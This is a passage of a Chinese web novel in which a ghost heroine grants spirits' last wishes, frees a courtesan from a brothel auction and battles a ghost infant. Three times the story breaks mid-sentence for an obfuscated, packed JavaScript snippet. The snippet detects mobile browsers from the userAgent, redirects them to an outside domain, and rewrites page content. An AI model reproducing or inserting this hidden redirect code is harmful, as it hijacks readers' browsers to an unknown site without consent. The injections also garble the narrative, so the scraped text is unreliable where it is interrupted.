夏月明找了份空白问卷给狸姝,微笑道:“狸长老既然来了,也填一份吧。你有什么心愿吗?” 她的语气很是友好,但狸姝却并不打算领情。 她没好气地白了她一眼,“假惺惺。”随后故意挑衅道:“我想当副宫主,你能满足吗?” “……”夏月明微微一笑,道:“那想着吧。” 她不领情,她也懒得再给她情面。 狸姝气得牙痒痒,却又拿她无可奈何,一甩袖子,愤愤然走了。 她一走,室内众鬼魂就更加煎熬。 他们以多少网文作者都羡慕的手速,三下五除二填满了问卷。 交给夏月明后,又以多少体测学生都羡慕的速度,逃离了现场。 仿佛那藤编的坐垫烫屁股一样。 夏月明将问卷带回房间,进行了一波筛选,发现大半都是在拍马屁的。 剩下的,也有一半是过于中二,无法实现的心愿。 幸而也有一些小鬼是认真在填,而且有几个的心愿出奇一致,都是希望来世生个好人家。 他们因为某些原因错过了轮回,在人间辗转至今,只是因为找不到转世的途径。 也就是说,他们不用渡化,可以直接交给地府。 夏月明颇感惊喜。 还有几个鬼魂的心愿比较容易实现,夏月明便让小婵和依依先去把他们找来。 在她们离开的过程中,她取出阎王给的令牌,按照小白的提示,注入念力。 很快,便听见黑无常大舌头的传话:“森么四?” 见传呼成功,夏月明欣喜地看了小白一眼,像公放语音一般,将那几个愿意直接轮回的小鬼的信息告诉了黑白无常。 “辛苦前辈帮忙查一下,他们是否可以直接轮回。” 很快,白无常便将结果告诉了夏月明:“他们的生平倒是没有问题,但死后,尤其是加入毕宿宫后,做了太多坏事,下辈子,很难转生为人啊。” “……”夏月明沉默了。 白无常一股酸意,试探道:“怎么?这么快就有成绩啦?还真是近水楼台先得月啊。说说,你那边有几个愿意直接轮回的?” 夏月明沉思一瞬,道:“还没有,我只是问问,打扰前辈。” 白无常明显松了口气,“什么打不打扰的,你有情况直接找我就行。” 随即令牌对面传来黑白无常欢呼击掌的声音,看来他们真的很怕被夏月明卷到。 挂断传讯后,小白好奇地问夏月明:“主人为何不直接将那几个小鬼交给无常?” 夏月明惭愧道:“他们的心愿是下辈子生在好人家,我若为了自己修炼,骗他们直接去轮回……总感觉良心不安。” 小白微笑点头,道:“我猜也是如此。” 他好像明白自己的主人特别在哪里了。作为一只厉鬼,她竟然有良心。 且他确信,她不会放任这几只无法转世为人的小鬼不管。 她一定会想尽办法,满足他们的心愿。 这就是他的主人,执着又温柔。 20. 流水线渡魂 经过一轮面试之后,夏月明确定了三名心愿简单的小鬼,作为第一批被渡化者。 而后用五个工作夜的时间,分别帮这三只鬼完成了心愿。 第一只鬼是在救一落水孩童时,被水草缠住脚溺亡的。心愿是让那孩童好好长大,不要自责。他头七的时候曾试图回去亲自跟那孩子说,结果孩子吓坏了,更自责了,他爹还特地花重金去给他求了个辟邪符。于是水鬼再也接近不了那孩子了,只能默默看着他活在自己的阴影里,成长为一名自卑怯懦的少年。 是夜,夏月明让水鬼将少年引到他曾落水的地方后藏起来,自己装作脚滑的样子掉进水里。怕水的少年毫不犹豫,跳入河中去救夏月明,身上的辟邪符也因沾水失了效。 水鬼与少年彻夜长谈,抱头痛哭,解开了少年心结。 分别时,他为少年擦去眼泪,自豪道:“小子,我为当年救了你而感到骄傲。再让我选一百次一千次,我也会毫不犹豫,跳下去。” 第二只鬼上山采药时,不幸误食毒蘑菇,毒发后未被及时救治,死在了山上。他辛苦盖起的房子被兄嫂霸占,妻儿也被赶出家门。所以这只鬼的心愿便是,将兄嫂赶出家门,让妻儿安度余生。 做了亏心事,最怕鬼敲门,他兄长也特地找到高人,求得了一枚护宅符,贴在家中。 不过好巧不巧,护宅符什么的,没有鬼比夏月明更懂了。 她用林蔓的钱雇了一个小偷,请他把自己画的无法生效的护宅符,与被毒鬼家中的那一张进行调换,随后让小白带着毕宿宫一众小鬼,在宅内开了三晚party。 眼见高人给的护宅符都没用了,兄嫂一家急忙收拾细软,连夜逃离了这鬼宅。 被毒鬼帮妻儿收拾好从前他们一起盖起的房屋,留下地契与和离书以作告别。 第三只鬼是在异乡做生意时,被强盗砍死的,尸首被当地官府派人就地掩埋。因听说“尸骨所埋之处,便是来世投胎的地标”,所以他的心愿是,让尸首回归故乡。 小白与夏月明连夜盗墓,根据白无常提供的线索,找到了无尸鬼的尸骨。而后用林蔓“小金库”里的钱租了两匹快马和一辆板车,连夜把尸骨送回了无尸鬼的故乡,还为他立了一块墓碑。 无尸鬼亲手在碑上,为自己的人生写下句点:刘家小子,流离七十二载,终归故里。 在他墓旁,是离家时还曾叮嘱他“早日还乡”的父母与两位长兄之墓。 不知他们等了他多久。 帮三只鬼完成心愿后,夏月明并未立刻将他们交给阴差,而是派他们去山下,修水渠。 鬼魂办事可以借助自身修习过的法术,效率很高,修完水渠她又给他们派了别的活。 三只鬼虽心有疑惑,却仍念她恩情,认真完成。 诅咒见状颇为赞赏,难得地夸了夏月明一句:“总算班没白上,学会榨取剩余劳动力了。” 夏月明只是笑笑,并未多说什么。 副宫主帮这三只鬼完成心愿的事,很快就毕宿宫底层小鬼间传开了。 原本对此持怀疑态度的小鬼们都有些跃跃欲试。 夏月明便将林蔓院落靠近门的那间偏房打扫出来,让小白在靠外的墙上砸出一个四四方方的洞来,做办事窗口。 这个房间暂且就是小婵和依依的办公室了。 若有小鬼需要心愿部帮忙,只需在窗口领一份表格,填写后交还便可。 小白会在每日子时去通知被选中的鬼,与他们商量一个圆梦时间。 最后,夏月明和小白依照排好的日期,依次带目标小鬼去完成执念。 这一单便算完成了。 若超过子时还没等到小白来通知,便说明这一批没被选上,需再行填表,等下一批。 这样流水线般的分工大大提高了他们的渡魂效率,基本上平均一周他们可以渡化四只魂。 而且随着实现心愿的小鬼越来越多,其他小鬼的积极性也越来越高,每天收集的表格从三两份逐渐涨到了七八份,有时甚至能收回十份。 各家堂主也渐渐发现,自家小鬼一到子时就莫名兴奋,伸长脖子望着门口,好似等待私会的小情侣一般。 但子时一过,他们又会格外落寞,好似情人被拐跑了一般。 而那些梦想着来世投个好人家的小鬼也渐渐发现,自己不论填写几次,都不会被选中。 有小鬼不服,特地冒着被主子惩罚的危险,溜去找小婵询问原因。 小婵只得说出夏月明提前给好的话术:“名额有限,十分抱歉。” 那小鬼彻底死心,伤心喃喃:“轮回什么的,果然错过了就没办法了呀。” 夏月明听后长叹了一口气。当下她还是不能让其他鬼知道自己与地府有联系,也暂且没实力给他们什么承诺,所以只能搪塞过去。 但她的计划远不止于此。 因为天神的自矜,地府和人间缺少传话口,她便想当这个传话口。 成为错过轮回末班车的小鬼们招手即停的出租车,甚至是网约车。 滴滴轮回什么的,谁说就实现不了呢? 与阎王约定的时间还剩一周,夏月明已经超额完成任务,替十一只鬼完成了心愿。 但心愿部的流水线渡魂模式也没停,她想多渡点魂,给地府一点小小的外包工震撼。 是夜,夏月明与小白在办公室等待被选中的鬼,等了大半个时辰也没等来。 小婵又将那只鬼填写的表格看了一遍,才发现是狸姝那一派的堂主的手下。 “多半是被拦住了,不让来。” 按理说规定的业绩已经完成了,夏月明没必要去碰狸姝的鬼找晦气。 但她从小婵手中接过那小鬼的表格,发现她的心愿是:“希望姐妹得到幸福。” 这样模棱两可、没个标准的愿望实现起来是很麻烦的,但夏月明看后却忍不住会心一笑,道:“我们去找她吧。” 作为一只心软的鬼,最没办法拒绝的,便是这样温柔的心愿。 这一次是,从前的那些也是。 她的选拔标准,不是谁的心愿更好实现,而是谁的心愿更有实现的意义。 夏月明与小白一同来到邱堂主所在别院。 不出所料,被选中的鬼正被邱堂主手下绑缚在院中,一阵奚落。 她身材瘦小,看着只有十五六岁,眼神格外清澈坚定。 “阴沟里长大的人配要幸福吗?啊?!”邱堂主宽厚的巴掌在她脸上连拍数下,一副恨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866745|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁不成钢的语气骂道:“小红啊小红!我白养你这么久!那老妖婆明显是在蛊惑大家,你怎么真信了呀?”说完又在小红头上猛戳了几下,愤恨道:“你们生来就是贱命一条,死了能来侍奉我已是最大恩典,怎么有脸去奢求所谓的幸福呢?幸福是什么你知道吗?你把老子伺候好了,你就幸福了!” 他说完还不解气,抬起腿来便要朝着小红胸口猛踹,夏月明一声“住手”镇住了他,紧接着小白长腿一晃,将他的臭脚踹了回去。 邱堂主瞧见他俩便心知不妙,沉着脸摆起谱道:“霖丘堂家务事,副宫主也要管吗?” 夏月明上前帮小红解绳子,看也不看邱堂主一眼道:“毕宿宫就是我的家,我作为副宫主,也算是这个家半个家长。怎么?邱堂主要与我分家,自立门户吗?” 邱堂主:“……”说不过,好气气。 看小红伤得不重,夏月明松了口气,柔声问道:“能走吗?” 小红点头,夏月明便将她扶起,“跟我走。” 被无视的邱堂主气不打一处来,追上前欲与夏月明理论,却被小白拦在身前,半步也靠近不得。 气得他开始胡言乱语:“喂!你知道她姐妹是什么人吗?是妓女啊!人人都觉得恶心,你凭什么给她幸福?她配吗?” 夏月明忍无可忍,止步转身,嫌恶地看了邱堂主一眼,冷声道:“在无法选择人生的世道里,将他人的不幸踩在脚下的人才恶心。” 说话时那凛然不可侵犯的神态,竟让邱堂主以为从前的林蔓又回来了。 当从前的林蔓露出这种表情之后,必是她大开杀戒之时。 邱堂主两腿止不住地哆嗦,再不敢前进一步。 小白厌恶地冷哼一声,转身跟上了夏月明。 目光触及她身影的一瞬间,又忍不住弯起嘴角,换上了一副小迷弟的表情。 主人今天真帅呀。 …… 夏月明带小红回到办公室。 小婵和依依已经为她准备好了伤药与露水。 夏月明扶她坐下,暖声道:“喝点水,慢慢跟我讲讲你的心愿吧。” “嗯。”小红双手紧握水杯,忽然就泣不成声。 她来毕宿宫时日不长,并未接触过副宫主,只听说她是个心狠手辣的极恶老妖婆。 为了躲避副宫主,她加入了邱堂主堂下寻求庇佑,每日被他非打即骂。 可今日才知,那个被他们形容成恶魔的副宫主不但不老不恶,心也是暖的,手也是软的。 甚至比她活着的时候遇到的一些人还要好。 她满心感激地想着,自己也不是全然那么不幸的呀。 夏月明轻轻拍着她的背,耐心地帮她纾解着情绪。 良久后,小红终于止住眼泪,哽咽地说出了自己的心愿:“我有一个生前共患难的姐妹,她像副宫主一样温柔……可我先死了,丢下她一个人在人间受苦……我想请副宫主帮她走出泥潭,去寻找幸福的生活。” “嗯,我答应你。”夏月明浅笑嫣然,柔声问道:“你的姐妹在哪里?叫什么名字?” 小红眼睫上的晶莹泪花闪烁着细碎的光,期待地望着夏月明,声如银铃般迫切道:“她叫雁娘,是梦香楼的花魁。” 21. 鬼婴 “梦香楼的雁娘?” 巧了。 以为夏月明的反问重点在梦香楼,小红神色落寞,怯然道:“没关系,不能实现也……” 话没说完,就见夏月明笑着摇了摇头,笃定道:“不难,雁娘这样好的人,就该幸福的。” 听她语气熟稔,小红颇感惊奇:“您认识雁娘?” “嗯。”夏月明脑海中浮现出雁娘微笑时的样子,神色间也不自觉染上了几分明媚,“她是我来到此地后,见过的最美丽、最温柔典雅的女子。” “嗯!”小红喜笑颜开,重重点头。 听这描述,一定就是自己认识的那个雁娘啦。 夏月明稍微计划了一下行动方案,便带着鬼员工们一起下山了。 为了预防宫内的突发状况,留小婵在办公室值班。 夜晚是梦香楼的主场,众鬼夜行至此,感觉空气都变得聒噪起来。 一位小厮在门口敲锣大喊:“雁娘明日出阁,价高者得!门票十两银咯~” 夏月明有种不祥的预感:“出阁?” 依依秀眉紧蹙,气愤道:“出阁?明明是拍卖吧!” 夏月明恍然大悟,忙带着众鬼隐身直上二楼,去找雁娘。 见雁娘房门外上着锁,还有两名壮汉看守,众鬼瞬时了然。 果然是被黑心老鸨算计了。 小白伸手拈起门上铜锁,用眼神向夏月明请示,准备捏碎这锁救出雁娘。 夏月明细思一瞬,摇了下头。 现在直接救下雁娘的确是最简单的选择,但她担心老鸨不会放过她,后面雁娘独自逃亡,不知会遇到多少困难。 不如趁此机会,让她彻底和这里的一切划清界限。 众鬼原路返回,准备再去林蔓小金库“借”点儿。 行至门口,诅咒忽而听见楼外隐蔽处,有几名小厮在议论着什么。 众鬼直接飘过去,一同吃瓜。 小厮甲道:“这就把花魁卖了,多可惜啊。” 小厮乙摇了摇手指,一副掌握内情的样子,“你不知道,这个月有许多姑娘都病了,生意差极了,全靠花魁这一波赚回来呢。” “怪不得,光门票就十两银呢。” “何止啊,这都是少的。大头是雁娘赎金,我看最少得五百两起拍!” “我去,五百两?” 夏月明和小厮甲同样震惊。她本打算参加竞拍帮雁娘赎身的。现在看来,掏空林蔓的小金库也不够。 黑,真黑! “喂!你们两个!” 瓜没吃完,就见一着装艳丽的女子气冲冲走来,伸出纤纤玉手揪住了小厮乙肥厚的大耳朵,气呼呼骂道:“又在说闲话不干活儿!走,跟我去见妈妈!” 小厮乙疼得吱哇乱叫连声求饶。 这女子便是先前给雁娘下药的那个。 众鬼见无瓜可吃便要离开,却见夏月明正严肃地盯着这女子,眉头越来越紧。 小白轻轻拽了下夏月明的袖子,夏月明满面担忧转过头来。 此时女子已拽着小厮转过巷口。夏月明示意众鬼现身,在女子进门前,追上了女子。 “这位姑娘请等一下。” 听见是女人的声音,女子不耐烦回头,最先看到的,却是长身如鹤、英气逼人的小白。 她的脸上顿时绽开明媚笑意,摇曳着身姿朝小白身上蹭去,笑问道:“官人何事?” 小白朝旁迈了一大步,她不但没蹭上,还得了个大踉跄。 夏月明:……和你说话的明明是我诶。 女子再接再厉,正待再蹭,夏月明伸手拦住了她,严肃道:“姑娘,你中邪了。” “哈?”女子秀眉一挑,很是不屑:“疯了吧?开什么玩笑呢?饭可以乱吃,话可不能乱讲。” 夏月明摇了摇头,认真道:“你最近是不是经常寒战,一到夜里便冷得无法入眠,皮肤发青,需厚粉才能盖住?” 她话一说完,女子已然目瞪口呆,“你你你,你怎么知道?” 夏月明心一沉,道:“这是与鬼□□过的症状。” “啊?”女子粉面惊慌,声线颤抖。 夏月明继续道:“你们的客人中有鬼,数量我不确定,但是这样下去,你们身上的阳气会越来越少,活不了多久。” 方才女子去抓小厮乙耳朵的时候,她看到她露出的大臂泛着青色。再一看女子额侧的粉比其他地方斑驳,便猜她是为了遮住发黑的太阳穴,特地涂厚的。 爷爷笔记中提到过,人与鬼那啥之后,外形上便会出现这些变化。 但她虽然神情认真,说出的话却实在离谱。女子震撼了片刻,骂骂咧咧就要走。 没想到她刚一进门,便听见楼上传出一声凄厉尖叫,沉寂数秒,又响起婴儿啼哭。 随即两个丫鬟和一个小厮逃命般从房间跑出,冲下楼来。 小白与夏月明对视一眼,起身跃至楼上去看,发现场面十分血腥。 楼上大门敞开的一间屋子里,躺着一个奄奄一息的女人,女人身下全是血,一只鬼婴正缓缓从她身体内爬出,拖着血印子朝门外而来。 闻声前来看热闹的人都被吓傻了,推推搡搡仓皇逃窜。 鬼婴边爬边喊:“妈妈,妈妈……” 待鬼婴离开房间后,小白进屋去探女人鼻息……已经死了。 夏月明下意识掏兜找符,才发现自己不但没有符,也没有兜。只好对小白喊道:“控制住它!” 小白得令双手一挥,便在鬼婴四周竖起四面青色焰墙。 见鬼婴无法前进,店内小厮和老鸨都松了口气。 老鸨挪到夏月明身侧,担忧道:“女侠,这什么情况啊?” 夏月明将先前同另一名女子说的话,又跟老鸨讲了一遍。老鸨听罢大骇,怪不得自己店内最近霉事连连,原来真是中邪了,忙问夏月明该怎么办。 那死去女子本是她们店最受欢迎的头牌之一,但一个月前她说身体不适,大夫一看,才发现是怀孕了。 她叫人熬了打胎的方子给她喝,但什么方子也没用,那孩子就是打不掉,不但打不掉,她肚子还越来越大。不到半个月,已赶上寻常孕妇八个月那么大了,甚是诡异。 这两日她也想过找术士来看看那肚子是怎么一回事,没想到耽搁了一下,女子直接就生了。 夏月明本不想趁火打劫,但一想到雁娘还被老鸨关在楼上准备拍卖,便把心一狠,举起手道:“这个数。” 老鸨:“啊?五十两?” 夏月明摇头:“五百两。” 刚才听小厮说,这是雁娘的起拍价。 “五百两?你怎么不直接抢钱啊?”老鸨气得喷出了口水。 “我们是正经生意人,不打白工的。”夏月明淡定地擦擦脸,对小白道:“诚意不够,我们走吧。” 小白玉手一挥,围在鬼婴四周的焰墙消散,鬼婴直勾勾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866746|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地朝着老鸨爬去。 老鸨连忙抓住夏月明袖子,“一百两!好不好?” 夏月明不理会她,径自向前,依依把老鸨拽开,让她不能再纠缠夏月明。 “二百两?三百两!四百两怎么样?” 老鸨独自讨价还价半天,鬼婴也离她越来越近。 有小厮鼓起勇气,挥起铁棍朝鬼婴脑门上一敲,鬼婴脑袋开花,却仍继续向前,嘴里不断喊着:“妈妈,妈妈……” 更吓人了。 老鸨转身就跑,夏月明提醒道:“跑也没用,没发现吗?它认定你了,而且它现在很饿,不从妈妈身上吸收精气填饱肚子不会罢休的。” 这种鬼婴靠不断吸取女子精气长大,且成长速度很快,越长大越残暴,胃口也越大。 眼见鬼婴速度越来越快,老鸨最后的心理防线也终于被击溃了,嘶声大喊:“好好,五百两,成交,你们快抓住它呀!!” 夏月明微笑止步,回身对小白道:“拜托啦,副部长。” 小白桃眼弯弯,双手捏诀,青色火焰便将鬼婴覆盖,将它烧为了灰烬。 前后不到一分钟。 大大出乎夏月明的意料。 连诅咒也对小白的实力刮目相看,悄声在夏月明耳边道:“你这个男宠不简单。” 那老鸨见状,也以为鬼婴很好对付,直呼受骗不愿给钱,还吩咐手下打手将夏月明等“人”赶出去。 小白欲动手理论,夏月明淡定道:“我们走吧。” 老鸨松了口气,那帅气男子看着是有真本事的,要真打起来她未必能得便宜。 但她气刚吐顺,就听见夏月明又道:“不过这种鬼婴一般难就难在,它死后会有百分之九十九点九的几率触发鬼母迟到的爱,令鬼母诈尸,来为孩子报仇。” 老鸨心里咯噔一声:“什么意思?” 刚一问完,原先死去的女子就如同僵尸一般,满身是血从二楼的屋里冲了出来。 夏月明微笑:“就像这样。” “还我孩子!”鬼母伸出铁青色的胳膊,蹦蹦跳跳寻着老鸨而去。 “救命啊!”老鸨连忙躲在瑟瑟发抖的打手身后,指着小白甩锅道:“阿娟,是他烧死你孩子的,不干我的事啊!” 鬼母止步,望向小白。 小白又指向老鸨,无辜道:“是她付钱委托的。” 鬼母看看老鸨,又看看小白,知道后者自己打不过,便又朝着老鸨冲去。 “啊?我还没给钱呢啊!”老鸨欲哭无泪。 客人和打手们都已逃离,老鸨犹疑再三,决定也弃店逃命。 但她刚跑到门口,鬼母便施法,将门关上了。 眼见最后的求生希望也破灭了,老鸨无力地快要哭出来。 在鬼母扑到身上的前一秒,老鸨终于认命大喊:“女侠救命!” 当是时,一条彩绸凌空飞出,缠在了鬼母脖子上,鬼母的双手掐在老鸨脖子上,血盆大口在距离她的脖子不到一厘米的地方停下。 老鸨用力挣脱鬼母双手,爬到离她很远的地方才敢大口喘起气来。 夏月明行至老鸨面前,搓了搓手指道:“先给钱,后办事。” 眼见鬼母只是被那英俊男子控制起来,随时可能挣脱,老鸨没有办法,只好带着夏月明去自己房间,点了五百两银子给她。 依依确认数目无误后,夏月明又跟老鸨借了张桌布,将银钱打包,与依依一同抬出。 22. 第一批业绩 此时鬼母也已将彩绸撕碎,挣脱了小白的束缚。 小白接过银钱包裹,对依依道:“好男不打女,这个交给你啦。” “嗯!”终于可以大展身手,依依开心点头,摆起架势凌空跃出,给了鬼母一记飞踢。 夏月明内心惊叹,不愧是林蔓的亲传弟子。 员工们一个个都这么厉害,她这个当老板的也得好好努力才行。 小婵与鬼母打成一团之时,小白目色警觉地望向门外,拎起手边一个花盆随手一扔,就砸在了门外一鬼鬼祟祟的壮汉身上。 壮汉被砸倒地,夏月明认出他也是鬼。 下一秒,小白已跃至门口,将那正欲逃窜的壮汉鬼按在了地上。 夏月明快步行至壮汉鬼跟前,蹲身冷笑道:“你就是害那姑娘怀孕的色鬼吧?作为孩子的父亲,趁母亲为孩子战斗的时候溜走,你可真有担当。” 色鬼挣扎半天也无法挣脱小白束缚,看出夏月明是话事鬼,便恶狠狠地瞪着她威胁道:“同类啊?劝你们最好赶紧放了我,不然我把我大哥叫来,你们就完蛋了。” 夏月明面色一沉,警惕道:“你大哥很厉害吗?” “那当然!”色鬼傲慢地冷笑一声,用一副“说出来吓死你们”的语气道:“我大哥可是毕宿宫的。” 夏月明一愣:“毕宿宫的谁啊?” 色鬼见她知道毕宿宫,态度更是嚣张跋扈,一副牛逼轰轰的神采,高声道:“毕宿宫巡逻兵队长!怎么样,怕了吧?” 夏月明:…… 嗐,以为他是狐假虎威,没想到是鼠假狗威。 “巧了。”小白忍不住笑出声来,骄傲道:“你知道她是谁吗?” 色鬼满不在乎道:“谁啊?” 小白一字一顿,威风凛凛地告诉他:“毕宿宫——副、宫、主。” “啊?”色鬼目瞪口呆,自己这是装逼装到牛逼祖宗身上了? 不对,不对。 片刻后,他又反应过来,嫌弃嘲讽道:“兄弟,你咋比我还能吹呢?毕宿宫副宫主明明是个老太婆,这小姑娘……还嫩了点。” 听他言语轻浮,小白怒不可遏,直接给他一顿暴揍,打得他皮开肉绽、连声哭求,也不觉解气。 怕真给他打消散了,夏月明适时叫停道:“算了小白,别给他打没了,怎么说也能算一份业绩。” 想起主人的创业大计,小白气呼呼又踹了那色鬼一脚,才不甘心地收了手。 难得喘息之机,色鬼立马识时务地跪在夏月明脚边求饶:“姑奶奶,求求你放过我,我愿意为你当牛做马!” “你还不够格!”小白气得收着力又踹了他一脚。 夏月明却若有所思道:“哦,那我帮你和黑白无常商量一下。” 另一边,小婵也已将鬼母制服。 鬼母的肉身迅速腐烂成泥浆,将灵魂释放了出来。 恍如做了一场大梦般,名唤阿娟的灵魂被自己的肉身吓了一跳,随即放声大哭起来。 因她魂体虚弱,无法在人前现形,因而老鸨等人看不见她,只能听到诡异的哭声回荡在楼里。 众人吓得便往外跑,正好看到被小白制服的色鬼。 “是他!就是他!他化成灰我也能认出来!”老鸨愤恨地走到色鬼跟前指认道。说罢又想起夏月明说过他是鬼,又吓得迈起碎步连连后退。 夏月明站起身,朝着不远处的巷口道:“没事了,都出来吧。” 原本躲在巷口的姑娘们犹豫着探出身子,却无人敢往这边迈近半步。 夏月明对老鸨道:“把和他有过关系的姑娘都找出来,我给你开个方子,按时吃药可祛除身上鬼气。” 姑娘们一听,神色幸然。有人率先迈开步子,其余众人这才跟上,踌躇着走到夏月明跟前,行礼道谢。 最先出来的,正是最开始不相信夏月明的那位艳丽女子。 夏月明口述,小白记录,众鬼留下方子带着银钱和绩效,翩然离去。 行至无人郊外,夏月明给依依提前下班。待她离开后拿出阎君令牌,注入念力召唤了黑白无常。 黑白无常装作一副十分忙碌的样子现了身。 黑无常道:“哎呀,刚搜了思来个焚,还没奶得及搜西就被里喊来啦。” 色鬼揉了揉眼睛,难以置信地小声道:“乖乖,黑白无常?” 这毕宿宫副宫主,怎么跟鬼差谈笑风生啊?黑白通吃? 要是抱紧了这只大腿,那以后在鬼界不得横着走?哪里还需要什么大哥,全都是小弟! 这样想着,他看夏月明的目光变得殷勤了一些。 不过这份殷勤很快就被小白带着杀意的目光吓飞了。 白无常瞅了阿娟和壮汉一眼,试探道:“阎王大人对你可是寄予厚望,怎么一个月快到了,才收了两个魂?” 色鬼心里咯噔了一下。 夏月明笑道:“不急,不是还有几天吗。” 黑无常对着生死册核对了一下,道:“这个女的生前苦命,倒没做过什么坏事,可投人道。” 正要说到色鬼的安排,热心的夏月明提前帮色鬼争取道:“他说他要投胎做牛马。” 色鬼:“啊?” “我不是我没有!”他的头摇成了拨浪鼓,这才搞清楚夏月明和黑白无常谈笑风生的原因。 夏月明真诚道:“你刚刚不是说愿意为我当牛做马吗?” 色鬼:“啊??” 他已欲哭无泪:“你懂不懂比喻句啊!” 万万没想到,他还没来得及为自己解释,就听见白无常颇显为难地咂嘴道:“那恐怕不行,他做鬼时作恶多端,功德连牛马都够不上,下辈子多半是禽类了。” 色鬼:“啊???” 夏月明由衷微笑,竖起大拇指:“合理,赞。” 随后两个鬼便作为夏月明试用期的第一批业绩,被黑白无常带走了。 色鬼离开时的宰鸭一般的惨叫,让月明仿佛看到了他的来世。 …… 雁娘拍卖夜,夏月明扮作男装,与小白一同来到梦香楼。 加上林蔓的小金库,他们共凑了七百两银子,却仍是不够。 因前夜闹鬼事件,来参加拍卖的比想象中少了很多,但扔不乏一些大户。 有人直接出价一千两。 在老鸨将要落锤之际,夏月明举牌高喊:“一千五百两!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866747|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 虽是男装,但她身旁的小白过于耀眼,老鸨从他们进门起就认出了他们。 “一千五百两一次,一千五百两两次,一千五百两……” “我出一千七百两!” 全场惊呼,夏月明扭头一看,又是那个大户。 “一千七百两一次,一千七百两两次,一千七……” 夏月明一咬牙站起身来,高声道:“两千两!” 全场沸腾。夏月明紧张地盯着那名狙击大户,见他再未举牌,才放下心来。 终于,夏月明拍到了雁娘的卖身契。 但她所带银钱远远不够。只能先拖住老鸨,将随身的玉佩给了小白,让他暂时抵押,看看能凑多少。 因知晓这是夏月明贴身之物,对她而言十分重要,小白第一次决定违背主人命令,没去当铺抵押。 他在梦香楼外徘徊,欲再想其他办法。 “要不……先去找昨天出高价地那位富豪家里偷……呃,借点儿?” 打定主意后,小白隐身去了老鸨房间,准备从昨晚的客户名录上,找到那名富豪的地址。 好巧不巧,他刚到门外,便见那富豪鬼鬼祟祟钻进了老鸨房间。 小白穿门而入,现场吃瓜。 老鸨坐在圆桌边,一边美滋滋嗑着瓜子,一遍洋洋得意对富豪道:“昨夜这帮穷鬼来碰瓷,骗了我五百两银子。亏得有你帮忙抬价,我不但要回了这五百两,还净赚他们一千五百两!哈哈哈哈!” 小白眉宇一沉,掌心下意识聚起青色火焰,却隐忍不发,继续静听。 那富豪谨慎道:“可价抬得这么高,那些穷鬼会不会出不起?若是出不起,该当如何?” 老鸨冷声一笑,面色发狠道:“出不起,就按老办法。” …… 客房内,夏月明正与诅咒因为玉佩的事吵嘴,就见老鸨带着几名打手推门而入。 老鸨面色疑惑环视房间,不解道:“你跟谁说话呢?” 夏月明道:“没谁,我有自言自语的习惯。” 老鸨松了口气,她本是打算趁夏月明独身一人时好好勒索她一笔,到门外听见她在说话,还以为那个身手了得的美男也在呢,差点没把她吓死。 趁美男还没回来,老鸨急忙开始了勒索计划。 先是威胁夏月明,说到时间见不着钱,就把雁娘送去郑大官人家。 再是哄骗她,说那玉佩值不了几个钱,肯定凑不够。 最后露出狐狸尾巴,引诱夏月明抵押房契。 夏月明皱着眉,垂眸思索间,小白推门而入。 吓得老鸨心跳加速,大气都不敢多出一个。 他们这套骗钱把戏,对付老实人还行,但对付不守规矩的武力强者,免不得受些皮肉苦。 幸而小白只是冷冷地扫了他们一眼,并未立刻动手。 他躬身凑到夏月明耳边,将刚才偷听到的那番对话如实告诉了她。 且他来时,还看到几名捕快守在外面,想来这老鸨今天是不可能善了了。 谁料夏月明听罢非但不气,表情还明朗了起来。 她唇角一弯,对老鸨道:“还可以抵押房契吗?那太好了。” 23. 员工被挖角 她原是打算凑不够钱就明抢,但又觉得这样太不道德,过不去心里的坎儿,正十分纠结呢。 既然老鸨他们要这样玩,那她就可以放下道德包袱,陪他们好好玩一玩了。 有句名言怎么说来着,既然要追求刺激,那就贯彻到底。 和讲规则的人讲规则,对有道德的人有道德,除此之外,百无禁忌。 正好在十三年前,林蔓想为自己寻一处闭关之所,轩辕泓就把自己所有的地契与房契都交给了林蔓。 夏月明唤小白附耳过来,将房契放置的位置告诉了他。 小白耳朵微红,点了点头。 临走前,他慎重地将玉佩塞回夏月明手中,笑眼弯弯,道:“等我。” 转身瞬间又换上寒气逼人的表情,将在场打手扫视一遍,最后目光停在老鸨身上。 打手们胆寒,不自觉后退了半步。 小白冷声对老鸨道:“在我回来之前,你们好生伺候着我的主人。若我回来见她伤到半根毫毛……”语调中寒气更盛,连室温都骤然降低,“便把你们挫骨扬灰,断了轮回道。” “是是是……我们一定好生对待主……呃女侠。” 得老鸨肯定答复,小白面容稍缓,飒然而去。 当然,他不相信人心,令他放心离去的主要原因是,他曾见过那玉佩的威力,他信玉佩。 